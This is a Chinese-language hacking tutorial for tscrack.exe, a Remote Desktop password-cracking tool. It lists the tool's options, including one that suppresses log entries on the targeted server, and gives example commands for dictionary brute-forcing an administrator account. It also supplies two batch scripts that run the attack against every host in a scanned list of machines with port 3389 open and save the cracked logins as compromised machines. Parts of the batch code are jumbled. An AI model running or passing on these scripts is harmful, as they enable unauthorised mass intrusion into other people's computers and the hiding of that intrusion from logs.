終端服務(wù)密碼破解: tscrack.exe

參數(shù)說(shuō)明 

-h 顯示使用幫助 

-v 顯示版本信息 

-s 在屏幕上打出解密能力 

-b 密碼錯(cuò)誤時(shí)發(fā)出的聲音 

-t 同是發(fā)出多個(gè)連接（多線程） 

-N Prevent System Log entries on targeted server 

-U 卸載移除tscrack組件 

-f 使用－f后面的密碼 

-F 間隔時(shí)間（頻率） 

-l 使用－l后面的用戶名 

-w 使用－w后面的密碼字典 

-p 使用－p后面的密碼 

-D 登錄主頁(yè)面 

用法示例 

tscrack 192.168.0.1 -l ***istrator -w pass.dic 遠(yuǎn)程用密碼字典文件暴破主機(jī)的***istrator的登陸密碼 

tscrack 192.168.0.1 -l ***istrator -p 123456 用密碼123456遠(yuǎn)程登陸192.168.0.1的***istrator用戶 

@if not exist ipcscan.txt goto noscan 

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 

nscan 

@echo 3389.txt no find or scan faild 

(①存為3389.bat) （假設(shè)現(xiàn)有用SuperScan或其它掃錨器掃到一批開有3389的主機(jī)IP列表文件3389.txt) 

3389.bat意思是：從3389.txt文件中取一個(gè)IP，接著運(yùn)行hack.bat 

@if not exist tscrack.exe goto noscan 

@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt 

:noscan 

@echo tscrack.exe no find or scan faild 

(②存為hack.bat) (運(yùn)行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個(gè)目錄下；就可以等待結(jié)果了) 

hack.bat意思是：運(yùn)行tscrack.exe用字典暴破3389.txt中所有主機(jī)的***istrator密碼，并將破解結(jié)果保存在rouji.txt文件中。